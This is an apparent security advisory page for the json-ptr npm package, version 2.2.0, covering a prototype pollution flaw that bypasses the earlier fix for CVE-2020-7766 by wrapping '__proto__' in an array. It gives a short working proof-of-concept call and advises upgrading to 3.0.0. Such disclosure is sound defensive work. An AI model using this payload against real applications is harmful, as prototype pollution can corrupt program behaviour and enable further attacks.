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json-ptr@2.2.0 vulnerabilities

A complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

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Direct Vulnerabilities

Known vulnerabilities in the json-ptr package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Prototype Pollution

json-ptr is a complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-7766 when the user-provided keys used in the pointer parameter are arrays.

PoC

const { JsonPointer } = require("json-ptr");

// JsonPointer.set({}, ['__proto__', 'polluted'], 'yes', true); 
// console.log(polluted); // Error: Attempted prototype pollution disallowed.

JsonPointer.set({}, [['__proto__'], 'polluted'], 'yes', true); 
console.log(polluted); // yes

How to fix Prototype Pollution?

Upgrade json-ptr to version 3.0.0 or higher.

<3.0.0
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